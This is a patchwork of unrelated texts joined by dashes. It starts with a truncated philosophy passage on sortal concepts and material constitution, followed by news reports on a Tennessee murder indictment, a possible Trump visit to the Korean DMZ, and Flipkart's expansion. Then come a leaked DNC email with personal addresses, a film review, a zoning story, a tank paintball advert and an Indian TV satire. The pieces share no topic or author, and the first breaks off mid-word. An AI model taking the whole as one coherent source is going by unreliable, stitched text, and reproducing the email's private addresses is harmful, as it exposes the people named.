sword but remains the same walking stick. Walking stick and sword are perfectly good concepts for picking out objects, if any artifactual terms are, and, on pain of excessive artificiality, a sword stick is both a sword and a walking stick. This kind of example does not appear to occur amongst natural objects, but, as a swordstick is a perfectly good reidentifiable object, this fact about natural objects would seem to be a contingent truth about them. Of course, it is not an accident that nature works that way, but neither is it a conceptual requirement. Wiggins’s original proof was a priori, and it should allow no exceptions. Wiggins’s response to this example (in personal communication) is that the sword-stick ceases to exist when it loses its ability to function as a sword and is replaced by a walking stick. But this response too is ad hoc. It embodies the principle that if anything is both an F and a G, where F and G are normally ordinary sortals, then it is really an F/G and ceases to exist if it loses either its F or its G features and is replaced by something that is either just an F or just a G/  One possible way out of this kind of case is to say that the sword is a phase of the walking stick, thereby introducing ad hoc phase sortals. By the expression ‘ad hoc phase sortal’ I mean a sortal that can be used sometimes as a phase sortal, designating an object only through part of its existence, and sometimes as an ultimate sortal, designating an object through the whole of its existence. Of course, even normal phase sortal might, contingently, in a given instance, designate an object through the whole of its existence. One might say that the phase sortal baby could designate something through the whole of its existence if, for example, a human being died at the age of six months and hence never got beyond babyhood. But it remains the case that, by dint of the meaning of the term, a baby is a phase of a human being (or, perhaps, some other animal) even when a particular creature fails to get beyond that phase. A sword is not, however, in virtue of the meaning of the word ‘sword’, a phase of anything, and to use the term to name a phase of something in a given case, when it suits, is ad hoc. Allowing sortals of this kind would put the concept of sortal under pressure, for an ultimate sortal was originally thought to be a kind of concept that necessarily characterizes an object present-tensedly throughout its existence, not a concept that sometimes does and sometimes does not. If it were possible for a given sortal, such as sword, sometimes to be an ultimate sortal and sometimes a phase sortal, it is not clear how such an expression would differ from an expression such as brown thing, which may or may not characterize something through the whole of its existence. But it is vital that the distinction between sortals, phase or ultimate, and expressions such as brown thing be clearly maintained, if the notion of sortal is to serve any formal purpose.  More importantly, that there are no ad hoc sortals is essential to the significance of the formal proof that there is no such thing as relative identity. In logic and in the application of Leibniz’s Law, ‘a is F’ is normally equivalent to ‘a was, is or will be F’, otherwise the Law would not apply to such accidental properties as ‘is brown’. This is also the way phase sortals work: a human being is, was, or will be a baby. The argument against relative identity works by arguing that, if one allowed relative identity, a contradiction would follow, namely that one would get a situation in which a is G, a = b and b is not G. For this to be a contradiction, ‘is G’ must be univocal in both cases as either ‘—was, is or will be G’ or ‘—is at all times G’. For there is no inconsistency in a is, was, or will be G, a = b, and b is not at all times G. But if, whenever a contradiction is generated, one deems one of the sortals to be a phase sortal, and so to fall under the ‘is, was, or will be’ rubric, and the other to be the ultimate sortal which applies at all times, no contradiction will ever arise. All the cases of putative relative identity could be reconciled with Leibniz’s Law by deeming one of the sortals to be operating as a phase sortal in this instance.  Another possible line is that a swordstick is not one object, but two objects that share some of their matter. This introduces a category of what one might call Siamese objects. It can be argued, however, that allowing this kind of entity undermines Wiggins’s opposition to those, like Ayers, who think that the concept for reidentifying objects is, or often is, something more generic than sortal concepts; something akin to material body. To see how this may come about, we must consider the rationale for Ayers’s theory.  The fact that sortals do not seem to follow the discipline that Wiggins wishes for them might be taken to support the view that substances can be individuated under much more generic notions, such as same body or same material thing. (Ayers 1991a). On this view, material cohesion is what picks out paradigmatic physical things. Wiggins regards these ideas as too generic to be adequate on their own. Such a concept cannot be  understood except as determinable that has dog, horse, ball, [etc] among its determinations. (1997: 417–8)  Ayers, on the other hand, thinks that Wiggins takes the notion of body too loosely, because he [Wiggins] classifies as ‘lump-mass terms’ everything from bars of soap and pats of butter to pools of water and pots of stew. (Ayers 1991b: 229–30) Wiggins, in other words, does not take seriously enough the cohesiveness of real bodies, conflating them too easily with looser masses of matter. One natural thought is that we can reidentify middle-sized physical bodies that have fairly stable properties, irrespective of whether there is any interesting sortal term under which they fall. This is not to say that they could be reidentified under the purely generic notions body or physical thing, if there were no continuity of manifest properties.  That this may be a powerful criticism of Wiggins’s view can be seen by considering the notion of a Siamese object, which seemed to be necessary to answer the kind of problem posed by the swordstick. The physical mass that houses both the sword and the walking stick can be identified independently of either. If this were not the case it is difficult to see how one could even make the mistake of thinking of it as one thing. The composites Siamese entities form are quite identifiable, and yet that entity is not supposed to fall under a sortal in its own right.  The ontological status of complex bodies and ‘masses of matter’ (in Locke’s phrase) is an issue very much under dispute and we shall return to it below.  3.3.2 The ‘is’ of constitution  A statue and a lump of clay occupy the same place at a given time. What is their relation to each other? The apparent options are (i) they are identical (ii) they are not identical, but the clay constitutes the statue. (i) appears to be ruled out because they have different identity conditions. (ii) has seemed to many philosophers to be the natural solution to the problem, but it, too, faces difficulties. First, it has the intuitive disadvantage that it allocates two solid physical objects to the same place. Each of them weighs, say, ten pounds, yet the total of their weight is only ten pounds. It might seem natural to think—and it was formerly a well established maxim—that there can be only one solid physical thing at one place at a given time. Someone impressed by the idea that two bodies cannot be in the same place at the same time might think it more natural to say that there are two different ways of conceptualizing the material presence at that point, than that there are two material things. That way it is easy to see why two ten pound objects need not add up to twenty pounds when put together.  Second, the language of constitution is more natural if the situation is described in some ways rather than others. It is natural to say that the statue is made of clay or even from a piece of clay. But suppose one characterizes the clay more exactly, in terms of the particular atoms in a particular arrangement. Strictly, on modal grounds, this structured collection and the statue are different. The statue could have been made of a collection of atoms with at least some different members, but the entity defined as containing just those atoms could not. This entity—atoms A 1 …A n in given spatial arrangement S—is not a very natural kind of object, but it is a real body, in a way that something arbitrarily composed of, for example, half of this table and two toes from President Bush’s left foot is not. This collection of atoms in this structure is what investigation would show to be really there. Though it is natural to say that the statue is constituted by the atoms, it is less natural to say that the atoms and the structure taken together, are what it is made from: rather it might seem natural to say that that is what it is. To use the Aristotelian terminology, there is strong pressure to say that atoms and structure together are matter and form, and hence are the complete individual.  All these issues are very controversial, and different philosophers have different intuitions. (See, for example, Rea 1997.) But, if one were to conclude that the statue and the lump are neither identical nor stand in the constitution relation, what else could one say? One strategy is to take the notion of body or material object as basic. In the next section, this possibility is compared with other options.  3.3.3 A possible reconciliation of Wiggins and Ayers.  As we saw above, for Wiggins the concept ‘body’ is always generic, never sufficient in its own right to sustain identification, needing to be filled out by appeal to a more determinate sortal, such as ‘dog’ or ‘table’. Call this ‘sortalism’.  For Ayers, on the other hand the notion of a coherent, unified body or material object is the basic notion for individuating objects and is presupposed by sortal concepts. It is only in so far as dogs and tables are unified bodies that these notions can be used to individuate objects. Call this ‘somatism’.  We saw, briefly, in section 3.3.1., why Wiggins and Ayers think as they do. Although van Inwagen’s position is different from both, his reasons for thinking that the concept of a complex body is, of its own, an inadequate concept, are consistent with Wiggins’s claim that the idea is too determinable to function in its own right. Van Inwagen, therefore, more directly challenges Ayers. (For a brief discussion of van Inwagen’s argument, see section 3.4 below.)  How might we choose between sortalism and somatism? The dispute between them can seem difficult to pin down. Perhaps an irenic compromise is possible. Metaphysically, this compromise favours the somatist, but seems to give the sortalist everything he should want. The principle of the compromise is that Wiggins’s formal argument is correct: and hence it is necessarily true that Relative Identity is not possible. But it is only a contingent truth that the terms that can substitute for F in his formal proof are generally—but not always—sortals of an Aristotelian kind. Anything can be substituted for F which picks the object out as a unified body.  Take Wiggins’s formula, a = F b, where it is assumed that the F is a material object (not God or a spirit etc). The following theses might plausibly be maintained.  For any identifiable and re-identifiable object, there must be some predicate F which applies to it in a present-tense manner through the whole of its existence, and which, by its meaning, picks the object out as a unified physical whole. All natural ultimate sortals designate unified physical bodies in the manner prescribed in (1), and so are very suitable as substitutions for F. It is logically possible, however, that this might not have been so (there might logically have been natural sortals that worked like swordstick), but that they do follow this model, and are not like swordstick, is a pretty deep fact about our world and about any world with similar laws of nature to those that hold in our world. Artifactual sortals generally designate distinct, unified bodies (as do ‘sword’ and ‘walking stick’ in the ordinary cases), though exceptions ( as in the case of the swordstick considered above) are more common and less fantastic than in the natural cases. There are acceptable substitutions for F which would not normally be classified as sortals, but using concepts such as piece, or hunk or lump of stuff. In at least some of these cases, there is no sortal available. ‘[Unified] body’ could always do the job of F, because other, more specific, terms work just because the things they designate are unified bodies. On its own, ‘same body’ is just not very explanatory.  The account given in these five points has the advantage that it is compatible with the fact that most identities involving reidentification are categorizable under sortals, but that there are other cases—such as ‘piece of…’, ‘hunk of…’—where this is not so. It also avoids the need to employ the ‘“is” of constitution’ to link sortals and particulars, like lumps and hunks, rather than just mass terms, such as ‘clay’ or ‘gold’. The case where the lump and the sortally individuated object do not coincide, applies only to some problematic artefactual cases, and in those cases the sortal name of the artefact will not be suitable substitute for F, but the ‘lump’ expression will be. In that way, it will be possible to avoid the need to have two material objects in the same place.  Since about the mid 1990s there has developed a debate covering similar territory to that disputed by Wiggins and Ayers, but having rather different roots. It claims to be a revival of a broadly Aristotelian hylomorphism, but it comes mainly from disputes in mereology.  David Lewis famously propounded the doctrine of Unrestricted Composition: that is, any combination of things in the world con
-Buy Photo Quentin Bird at a preliminary hearing in April. He is accused of killing his pregnant ex-girlfriend and her unborn child. (Photo: Stephanie Ingersoll/The Leaf-Chronicle)Buy Photo  A Clarksville man is facing additional murder charges after he was indicted this month and charged with killing both his girlfriend and her 8-month-old fetus.  Quentin Bird, 22, was indicted by the December grand jury on six counts in the stabbing death of 20-year-old Allison Tenbarge and her fetus at his Fairview Lane apartment on April 18.  He was originally charged with criminal homicide and had his case bound over to a grand jury in June.  ►RELATED: Pregnant woman stabbed 21 times in slaying by ex-boyfriend, police say  According to the indictments, Bird "unlawfully, feloniously, intentionally and with premeditation" killed Allison Leigh Tenbarge by repeatedly stabbing her with a knife causing her to suffer fatal injuries.  The attack also intentionally killed Parker Jackson Tenbarge, a fetus in a stage of gestation in utero, by stabbing his mother.  The indictment charges Bird with two counts of premeditated, first-degree murder, two counts of felony murder and two counts of especially aggravated kidnapping.  According to testimony at his preliminary hearing, Bird stabbed his ex-girlfriend at least 21 times and could face the death penalty when the case goes to trial.  At a preliminary hearing in General Sessions Court, Clarksville Police Detective Eric Ewing testified that after Bird was tracked down in Kentucky, he confessed.  Allison Tenbarge had broken off the relationship a few days earlier and moved back to Kentucky but went to the apartment the morning of April 18 with a female friend to get her belongings.  Bird left work after finding out she was there and they argued, with Tenbarge accusing Bird of seeing other women.  Bird told Ewing that Tenbarge slapped him twice.  "He said she had slapped him and a switch flipped and he stabbed her two or three times," Ewing testified.  Tenbarge's friend left the apartment briefly after Bird asked her to buy him some gum and when she returned, he was gone and no one answered the door.  Bird texted her several times saying he was with Tenbarge running errands, but when police went to the apartment for a welfare check several hours later, they found her dead inside.  Clarksville Police tracked down Bird the day after the slaying with the help of OnStar in his Camaro and the Kentucky State Police and U.S. Marshals.  After the preliminary hearing, Assistant District Attorney Robert Nash told The Leaf-Chronicle that he planned to examine the autopsy file and may seek the death penalty because Allison Tenbarge was eight months pregnant.  "The victim was close to giving birth," Nash said. "It's a very serious matter. In this case, it is definitely being considered."  ►RELATED: Man charged with killing pregnant ex-girlfriend in Clarksville  Reach Reporter Stephanie Ingersoll at singersoll@theleafchronicle.com or 931-245-0267 and on Twitter @StephLeaf  Read or Share this story: http://www.theleafchronicle.com/story/news/2017/12/22/clarksville-man-charged-murder-death-fetus/976989001/
-South Korean national flags hang on a barbed-wire fence near the demilitarized zone separating the two Koreas in Paju, South Korea, on Aug. 14. (Kim Hong-Ji/Reuters)  It has become the ultimate symbol of American resolve against the threat of North Korea: a visit by the U.S. commander in chief to "freedom's frontier," the heavily guarded demilitarized zone that has separated the North and South for 64 years.  Wearing bomber-style jackets, surrounded by military officers, peering through binoculars, all but one president since Ronald Reagan have gazed across the barren strip of land at the 38th parallel from an observation post where they've been moved to talk tough. In April, Vice President Pence, undertaking the same solemn ritual, said he toured the DMZ so the North Koreans could "see our resolve in my face."  But as President Trump prepares for a 12-day swing through five Asian nations next month to bolster international pressure on Pyongyang, the administration is divided over whether he should make the pilgrimage, an issue that remains unresolved. Some aides worry a visit could further inflame already heightened tensions on the Korean Peninsula, while others have expressed concern over Trump's personal safety, according to people who have spoken to administration officials.  Asian foreign policy veterans of both the Obama and George W. Bush administrations said it would be foolish for Trump not to go. But the White House is facing opposition from South Korean President Moon Jae-in's administration and the U.S. State Department over fears that a visit would ratchet up Trump's war of words with North Korean dictator Kim Jong Un.  A White House spokesman declined to comment, saying the administration was not ready to release the full itinerary for Trump's trip, which is scheduled to last from Nov. 3 to Nov. 14.  Vice President Pence arrives at the border village of Panmunjom in the Demilitarized Zone in April. (Lee Jin-man/Associated Press)  Asked during a news conference this week whether a DMZ visit would provoke Pyongyang, Trump said the trip's details were not finalized and added: "I didn't hear in terms of provoking, but we will certainly take a look at that."  Trump has already done plenty of provoking amid reports that North Korea's ballistic missile and nuclear weapons programs are making more-rapid advances than expected. Trump has repeatedly mocked Kim as "Little Rocket Man," and he declared during a United Nations speech last month that the United States is prepared to "totally destroy" the North if necessary.  Kim has responded with his own harsh rhetoric by calling Trump a "mentally deranged U.S. dotard" and by threatening to strike Guam and test a nuclear device over the Pacific Ocean.  Trump will have plenty of other chances to talk tough, starting with a tour of the Pearl Harbor military base in Hawaii on his way to Asia. In Tokyo, the president is scheduled to meet with the parents of a Japanese girl kidnapped by North Korean agents four decades ago, and in Seoul, he will deliver a speech to the South Korean National Assembly.  President Obama at Observation Post Ouellette in the Demilitarized Zone in 2012. (Pablo Martinez Monsivais/Associated Press)  But current and former U.S. officials said a presidential visit to the DMZ sends a more pointed message to the American and South Korean troops who patrol the border region just 30 miles north of Seoul — as well as the enemy forces on the other side — that the United States remains committed to the bilateral defense treaty that has been in place since the armistice that halted fighting in the Korean War in 1953.  "The DMZ functions as a kind of amplifier," said Daniel Russel, who served as assistant secretary of state for East Asian and Pacific affairs under President Barack Obama and is now a senior fellow at the Asia Society. "The message takes on a more martial and ominous tone when it comes out of a military command post on North Korea's doorstep."  George H.W. Bush is the only president since Reagan toured the DMZ in 1983 not to visit, although Bush did make his own trip while serving as Reagan's vice president.  Obama visited the DMZ during a 2012 trip to Seoul for a nuclear summit, telling the troops that "the contrast between South Korea and North Korea could not be clearer, could not be starker, both in terms of freedom but also in terms of prosperity."  In 1993, President Bill Clinton told reporters during a DMZ tour that if the North ever used nuclear weapons "it would be the end of their country." Clinton walked so far across the "Bridge of No Return" that joins the two Koreas that U.S. Secret Service agents reportedly brought rifles into the area to protect him, in violation of the Korean War cease-fire.  Officials in Seoul and Tokyo are eager for Trump to reaffirm his commitment to the U.S. defense treaties with the East Asian allies. The president has unsettled Moon and Japanese Prime Minister Shinzo Abe by criticizing U.S. trade imbalances with those nations, pulling out of a 12-nation Asia-Pacific trade accord and demanding a renegotiation of a bilateral trade pact with South Korea that Obama signed in 2011.  President Clinton takes the lens caps off a pair of army binoculars after looking through them and not getting a very good view from the Oulette guard post in the demilitarized zone. (Greg Gibson/Associated Press)  At the same time, Moon's advisers fear that a Trump visit to the DMZ could increase the chances of a miscalculation that could provoke a military confrontation or have other unintended consequences, such as harming Asian financial markets or disrupting planning for the Winter Olympics, which will be held in February in PyeongChang, South Korea.  Evan Medeiros, who served as senior Asia director at the National Security Council under Obama, said Trump "needs to be crystal clear" on the U.S. position on North Korea and suggested that the costs of not visiting the DMZ could be greater than going.  "If he doesn't go, guess what the next story is?" said Medeiros, who accompanied Vice President Joe Biden to the DMZ in 2013.  Already some foreign policy experts are mocking the White House's hesitation. On Tuesday, Jeffrey Lewis, a nuclear nonproliferation expert who operates a popular Twitter account, included a chicken emoji with his retweet of a South Korean news report that U.S. and South Korean officials were steering Trump away from the DMZ.  Former U.S. officials emphasized that Trump's national security team could craft a visit that achieves the symbolic message — speaking to the troops, touring Observation Post Ouellette — without directly provoking the North with hostile words.  But they acknowledged that the president, who would be accompanied by reporters, is prone to straying off message.  "We've never had a president go to the DMZ who has implied the U.S. is preparing for preventative war with North Korea," said Michael Green, who served as senior Asia director at the NSC under President George W. Bush.  In February 2002, Bush visited the DMZ less than a month after he had called North Korea, Iran and Iraq the "axis of evil" during his State of the Union address. The president's speechwriters proposed having Bush deliver remarks akin to Reagan's seminal "tear down this wall" speech in West Berlin in 1987.  George W. Bush gazes out at North Korea from Observation Point Ouellette in the demilitarized zone in 2002. (J. SCOTT APPLEWHITE/Associated Press)  But Green said Bush's team eventually came to conclude that such a moment could be misinterpreted as a provocative call for regime change in Pyongyang. Instead, they sent him to the ­Dorasan train station near the border to call on the North to open an uncompleted railway between the two countries.  "Like the United States, South Korea has become a beacon of freedom, showing to the world the power of human liberty to bring down walls and uplift lives," said Bush, who also visited the DMZ observation post. "Today, across the mines and barbed wire, that light shines brighter than ever. It shines not as a threat to the North but as an invitation."
-Download raw source  From: "Miranda, Luis"  To: Mark Paustenbach  Subject: RE: Bernie narrative Thread-Topic: Bernie narrative Thread-Index: AQHRs8AvQtUQ9aKs30KucVWjje9Zyp/EG7Pk Date: Sat, 21 May 2016 17:34:09 -0700 Message-ID: <05E01258E71AC046852ED29DFCD139D54DF32AF5@dncdag1.dnc.org> References:  In-Reply-To:  Content-Language: en-US X-MS-Has-Attach: X-MS-Exchange-Organization-SCL: -1 X-MS-TNEF-Correlator: Content-Type: multipart/alternative; boundary="_000_05E01258E71AC046852ED29DFCD139D54DF32AF5dncdag1dncorg_" MIME-Version: 1.0 --_000_05E01258E71AC046852ED29DFCD139D54DF32AF5dncdag1dncorg_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable True, but the Chair has been advised to not engage. So we'll have to leave it alone. ________________________________ From: Mark Paustenbach [markpaustenbach@gmail.com] Sent: Saturday, May 21, 2016 8:23 PM To: Miranda, Luis Subject: Bernie narrative Wondering if there's a good Bernie narrative for a story, which is that Ber= nie never ever had his act together, that his campaign was a mess. Specifically, DWS had to call Bernie directly in order to get the campaign = to do things because they'd either ignored or forgotten to something critic= al. She had to call Bernie after the data breach to make his staff to respond t= o our concerns. Even then they didn't get back to us, which is why we had t= o shut off their access in order to get them to finally let us know exactly= how they snooped around HFA's data. Same was true with the standing committee appointments. They never got back= to us with their names (HFA and even O'Malley got there's in six weeks ear= lier) for the committees. So, again, the chair had to call Bernie personall= y for his staff to finally get us critical information. So, they gave us an= awful list just a few days before we had to make the announcements. It's not a DNC conspiracy, it's because they never had their act together. --_000_05E01258E71AC046852ED29DFCD139D54DF32AF5dncdag1dncorg_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable       
True, but the Chair has been advised to not engage. 

 
 
So we'll have to leave it alone. 
 

 
 
From: Mark Paustenbach [markpaustenbach@g= mail.com]
 Sent: Saturday, May 21, 2016 8:23 PM
 To: Miranda, Luis
 Subject: Bernie narrative
 
 
 
 
Wondering if there's a good Bernie narrative for a story, which is tha= t Bernie never ever had his act together, that his campaign was a mess.&nbs= p; 

 
 
Specifically, DWS had to call Bernie directly in order to get the camp= aign to do things because they'd either ignored or forgotten to something&n= bsp;critical.
 

 
 
She had to call Bernie after the data breach to make his sta= ff to respond to our concerns. Even then they didn't get back to us, which = is why we had to shut off their access in order to get them to finally= let us know exactly how they snooped around HFA's data.
 

 
 
Same was true with the standing committee appointments. They never got= back to us with their names (HFA and even O'Malley got there's in six week= s earlier) for the committees. So, again, the chair had to call Bernie pers= onally for his staff to finally get us critical information. So, they gave us an awful list just a few day= s before we had to make the announcements. 
 

 
 
It's not a DNC conspiracy, it's because they never had their act toget= her. 
 
 
 
 
   --_000_05E01258E71AC046852ED29DFCD139D54DF32AF5dncdag1dncorg_--
-Amazon could soon be facing a much tougher opponent in one of its most important overseas markets.  Flipkart, Amazon's (AMZN) top rival in India, is on track to complete takeovers of two big local competitors that will boost its arsenal in the battle for the country's online retail crown.  The Bangalore-based firm has moved a step closer to acquiring eBay's (EBAY) Indian business, after antitrust regulators approved a merger of the two on Thursday. EBay is swapping its India business and $500 million in cash for a stake in Flipkart.  Related: India's startup bubble has already burst  Analysts say the deal will further cement Flipkart's position at the top of India's online retail market, and give it extra firepower in its battle with Amazon, which is the country's second biggest player.  "This is good news for Flipkart as it solidifies it as a market leader at least in the short term, keeping competition especially Amazon at bay," said Sandy Shen, a research director at technology consultancy Gartner.  Amazon has pledged $5 billion towards growing its Indian business, but it continues to play catchup to Flipkart while also facing the occasional controversy.  Related: Amazon has an India problem  Another potential acquisition could widen that gap further. According to multiple reports, Flipkart is in talks to acquire Snapdeal, the third largest online retailer in India. A deal worth close to $1 billion is reportedly being brokered by Snapdeal's biggest investor, Japan's Softbank (SFTBF).  Softbank declined to comment on the reports, while Flipkart and Snapdeal did not respond to requests for comment.  Related: Indian startup founders take 100% pay cut as they slash jobs  The deal with an established global player like eBay, meanwhile, will give Flipkart some much-needed technological and market expertise, said Gartner's Shen.  "Although India's e-commerce market is still at an early stage, the market is seeing signs of consolidation," she added. "Flipkart has been and will continue to make acquisitions to increase scale."
-As a fan i am massively impressed with the directors cut of Iron Sky, it's like a whole new movie. The directors cut features 20 extra minutes of previously deleted scenes some of which alter the style of the original film, and that's not all, they've added a boatload of new visual effects throughout and made the Meteor Blitzkrieg even more awesome than before, they've even replaced some of the musical scores with new ones. What they basically have done is taken a "crazy B movie" and turned it into a "crazy B+ with an extra side of crazy movie", it's just like the back of the movie case reads: "It's an all-new take on the film".  I must suggest however (and this is just my personal opinion) that this directors cut only be watched by people that have already seen and love the original theatrical cut of the film, why is this? Because, the film really has been considerably changed by the inclusion of these deleted scenes and the new musical scores. Some of the new scenes work great in the film while some others are ether unnecessary or do harm to the flow of the scenes they were fit back into, even though i love this directors cut i have a strong respect to the way the theatrical cut was edited, the flow of the film was so much more balanced. A great example of another film with a theatrical and directors cut with similar levels of changes between the two is "Donnie Darko", If you've seen both versions of that movie then you know what i mean. The directors cut of Donnie Darko complements the theatrical cut, it just shouldn't be watched first, same thing goes for Iron Sky.  So if you're already a fan of Iron Sky then buy the directors cut, however, if you've never seen this movie before then i suggest buying or renting the theatrical cut and see what you think first. It's unfortunate that they didn't just include the theatrical cut in this release.
-Taller buildings could soon be coming to South Bend.  The South Bend Common Council approved a text amendment Monday night to increase the maximum building height in an area of the East Bank neighborhood.  This area is where the Commerce Center is, where developer Matthews LLC has proposed a 9-story apartment building with a grocery store, pharmacy and parking garage.  There have been many attempts by Matthews LLC and the city to get this project fully approved.  His building was too tall for that area under the old ordinance.  Officials say increasing the height restriction will let Matthews LLC build and encourage future development.  But many said Monday night they're in favor of the project, but not the height.  “We're likely now to see the river ringed on both sides by high-rises, if this takes off,” said Steve Francis, who lives in South Bend.  A 2008 “East Bank Plan” established the height rules for the Central Business District, a portion of land in downtown and the East Bank area separated by the St. Joseph River.  "There were hundreds of people involved, including businesses, residences, people from all over the city who weighed in on what the East bank should look like," said Francis, who also weighed in on the plan.  He supported the plan that allowed buildings on west of the St. Joseph River to reach 150 feet and capping those to the East at 60 feet.  He says he'd like to see things stay that way.  The Council's amendment wants to increase the max building heights on the island to 150 feet.  Some council members say that would fit Matthews LLC 's 9-story apartment building and grocery store and spur future development.  "We want to be responsive to the neighborhood and community members that want this,” said Councilman Gavin Ferlic – (D) South Bend. “I think by moving this to 150 feet we're going to see some mixed-use development and a lot of progress in that neighborhood.”  Many say they want to see development, just not tall buildings.  Councilman Ferlic says the height changes wouldn't be drastic.  City leaders agree it's time to try something new.  “When you're in an area where the plan developments that you would hope drive the plan don't happen, it's really hard to execute,” said Brian Pawlowski, director of Community Investment. “That's why we think revisions of this nature are okay to do.”  People like Steve say they're not opposed to revisions but they would like to have more public input on the plans.  Revisions that would paint a new picture of what the future of their neighborhood will look like.  Council members said it was hard for some of them to vote on this tonight – because it wasn't just a vote on a single project – it's a decision that could change the neighborhood.
-• Go head to head against another tank with the UK's only Tank Paintball Experience • Learn how to Drive a 17.5 Tonne FV432 turreted Tank • Load, Aim and fire the 40mm paintball cannon on the range • Experience driving using the Periscope • Be part of a three person Tank crew plus an on-board instructor • You will be issued with radio headsets, Kevlar helmets and tank suits • You will get the chance to drive the tank, aim the turret and fire the cannon at the opposing team • FREE entry to the on site museum displaying a large military vehicle collection • Tank battle experiences last approximately two hours  What Can I Expect  Attention - take part in our Tank Battles in Leicestershire! Tank driving in itself is good fun, but with this battle experience you'll actually take part in full on combat kicking off in the heart of Leicestershire, as your team of three crews a tank to attack the enemy - too much fun!  That’s right, you'll be going into a military warzone (albeit with paintball gear!) using 17 tonne FV432 armoured personnel carriers to battle against one another. This venue has an amazing 15 of these sturdy army APCs and all have specially modified cannons capable of firing 40mm paint rounds. In essence, you'll be testing your driving and shooting skills to the max.  You will be working as a team of three commandos with a mission. Each person will learn how to drive, aim the cannon and load the breach. Getting all the appropriate gear on is very much part of the war game, so you'll be wearing your military uniform and kevlar helmet, as well as being fitted with a radio headset so you can talk tactics with your tank crew before you go on the offensive.  As you are learning on the specially built obstacle course, you'll soon appreciate just how agile these fully tracked machines are. Whilst you and the troops are training you will drive the FV432 with the hatch open, so you can literally see where you're going as your head is outside the vehicles. But when it comes to getting into full operational mode, the hatch closes and it's communication by headset and driving using the periscope - a whole different battle game!  Once you are able to successfully operate the FV432 APC tank, it's time to let the tank battles in Leicestershire begin. Your trio will engage in full on armoured paintball warfare against an opposing team. It's all about settling your nerves to work together to drive, load and fire. So who will drive, who will load and who will fire? Just one gift idea from over 1000 gift ideas brought to you by IntotheBlue.
-An Indian may forget to have his dinner, but will never ever, ever, ever forget to watch The Newshour every weekday and of late, Sundays too. If not, how dare he? The nation would demand an answer!  To help newbie spokespersons survive the snake pit that is the Newshour debate, The UnReal Times presents an informative, world-class guide for representatives from various parties, beginning with the Congress party.  Chapter 1 – The Newshour Congress spokesperson 101  The best way to learn to be a Congress spokesperson on The Newshour is to watch Sanjay Jha for exactly 3 days. You will get the drift. Here is a simple algorithm  1. Hear what Arnab has to say (or maybe not, doesn’t really matter; plus Arnab’s voice doesn’t do any good to your ears anyway)  2. Start off by saying “Well, Arnab, before I answer your question, let me tell you 2 points…”  3. This is the MOST CRUCIAL part – BE 200% SURE TO START OFF by saying this VERBATIM - “The BJP is a party whose Prime Ministerial candidate in 2002 has orchestrated and perpetrated large-scale riots which claimed the lives of thousands of innocents.” THE QUESTION CAN GO TO HELL. THIS HAS TO BE YOUR ANSWER, NO MATTER WHAT. Then follow that up with “such being the case, it’s quite funny that they have to accuse us of such things…”  4. Say “Number 2,” and then slow down. By now, in all probability, the BJP spokesperson would have begun a counter-attack. If he/she hasn’t, Arnab himself would have started bashing you by lobbing a few tough questions at you.  5. Bear all the shouting calmly, as Arnab isn’t really looking for an answer from you. After hollering at you for a minute, Arnab will most likely turn to someone else, with a remark like this: “Let me get across to Sankarshan. Isn’t it really strange, Sankarshan?” No one knows why he does this, but why should you complain? :D You are saved from answering the question. Sit back, relax and enjoy some whisky. (Vinod Mehta 101)  6. When he comes back to you after about ten minutes, he might say, “This time, please stick to the point!” Don’t get scared. Say this, “Well, I’ll get to your question, but let me tell you, the BJP is making these vile accusations for the simple reason that they’re scared of the phenomenal groundswell of support which a young icon in Rahul Gandhi is receiving from the public.” If you manage to get this whole sentence out, CONGRATS! You have exceeded expectations by a country mile!  7. The more plausible scenario, however, is that Arnab would have interrupted within 3 seconds of you starting your sentence. Upon Arnab’s interruption, you shouldn’t stop immediately. You should act as if you want to continue. So say, “Hang on, Arnab! Let me finish!” or “Hold on, Arnab! One second, let me complete!” BUT, BUT…say this NOT MORE THAN TWICE. Because if you keep on harping on this, Arnab will indeed ask you to continue and you might have to conjure up stuff on the fly again. So, protest twice and then stop. By then Arnab would have gotten across to Vinod Mehta or Siddharth Varadarajan.  8. On the other hand, if it’s not Arnab, but some other party spokesperson interrupting, you are in luck! Say this: “Let me complete, Mr.___ or Mrs.____. I did not interrupt when you were speaking,” at least once. This allows you to claim the moral high ground and showcase your better manners. The interrupters, no matter how thick skinned they are, usually pause for a second when you rebuke them thus. In that second, quickly get this sentence out: “Mr. Modi doesn’t even have the basic courtesy to apologize for the riots.” The rival spokesperson will then SURELY interrupt again and this time, you can let go. Alternately, you can precipitate a circular loop of interruption-counter interruption with each party insisting that they be allowed to speak before their opponents interrupt.  9. When you get interrupted – this is important – you must not look relieved. Look disappointed. Look gutted. Remember, people are watching you 75% of the time. Ideally, they’d be watching you all the time while others are speaking, but since this is The Newshour, chances are, there are more than a dozen people on the panel, and even on a 40 inch TV, after half the screen is claimed by Arnab, each panelist occupies no more than a square inch. So there’s a good chance that you’ll be off the screen when other panelists are speaking. So yes, fake some disappointment at not being allowed to speak. Throw your hands up in the air; shake your head – the works.  10. The last tip – A Newshour debate usually lasts for 45 minutes to an hour, where about a dozen people speak ALONG with Arnab. You may hear only Arnab’s voice, but that’s just because he’s much louder than most of them. (Ashwin Kumar Newshour Theorem [Trademarked]: At any given point in The Newshour, there are a minimum of three people speaking, the loudest of them being Arnab) Newshour cockfights could get addictive and over time you may come to enjoy them immensely, but do NOT look like you’re having a ball out there. Remember, you’re out there to answer…er, no…you’re out there to LOOK LIKE you’re out there to answer questions. So don’t just stare into the camera like Dr Manmohan Singh. KEEP RAISING YOUR HAND every now and then. I know you definitely do not want to jump into the crocodile pool, but you should look like you want to! Just DON’T MAKE THE FATAL MISTAKE of saying, “Arnab, can I come in?” or “Arnab, can I make a point?” If you do that, he might bring you in and you’ll have to say something again. Just raise your hand and look agitated.  And finally, relax! You are not alone on the Newshour! Since you’re a Congress spokesperson, chances are that either Siddharth Varadarajan or Vinod Mehta will most likely defend your party with points other than the ones you’ve put out. So when they’re speaking, NOD YOUR HEAD IN AGREEMENT. You may not be able to hear what they say in the din, but you can safely assume they’ll back you up.  So, relax, be confident and enter the lion’s den with your head held high! The Newshour debate will get over before you know it! You can thank this UnReal Times columnist later.  (Continued in Chapter 2 – The Newshour BJP spokesperson 101)  (What happened to Arnab Goswami’s milkman when he tried to cheat him? Find out in our bestseller, UnReal Elections)
